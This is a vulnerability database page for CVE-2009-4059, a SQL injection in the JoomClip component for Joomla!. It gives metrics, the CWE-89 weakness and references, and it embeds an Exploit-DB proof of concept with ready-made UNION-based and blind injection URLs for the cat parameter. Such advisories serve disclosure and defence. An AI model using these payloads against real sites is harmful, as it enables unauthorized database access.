CVE-2009-4059 : Detail

CVE-2009-4059

SQL Injection
A03-Injection
0.13%V3
Network
2009-11-24
01h00 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in the JoomClip (com_joomclip) component for Joomla! allows remote attackers to execute arbitrary SQL commands via the cat parameter in a thumbs action to index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 10192

Publication date : 2009-11-20 23h00 +00:00
Author : 599eme Man
EDB Verified : Yes

_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_ _0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_ _0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_ _____0______0______0__0______0___0__0________0___0__00000__0___0_ _0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_ _________________________________________________________________ # [+] Joomla Component Com_Joomclip (cat) SQL injection # # [+] Author : 599eme Man # [+] Contact : Flouf@live.fr # #[------------------------------------------------------------------------------------] # # [+] SQL # # http://server/index.php?option=com_joomclip&view=thumbs&cat=20%20union%20all%20select%201,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- # # [+] Blind # # http://server/index.php?option=com_joomclip&view=thumbs&cat=20%20and%20substring%28@@version,1,1%29=4 # #[------------------------------------------------------------------------------------]

Products Mentioned

Configuraton 0

Joomla>>Joomla\! >> Version *

.joomclan>>Com_joomclip >> Version *

    References

    http://www.securityfocus.com/bid/37049
    Tags : vdb-entry, x_refsource_BID
    http://osvdb.org/60195
    Tags : vdb-entry, x_refsource_OSVDB
    http://secunia.com/advisories/37400
    Tags : third-party-advisory, x_refsource_SECUNIA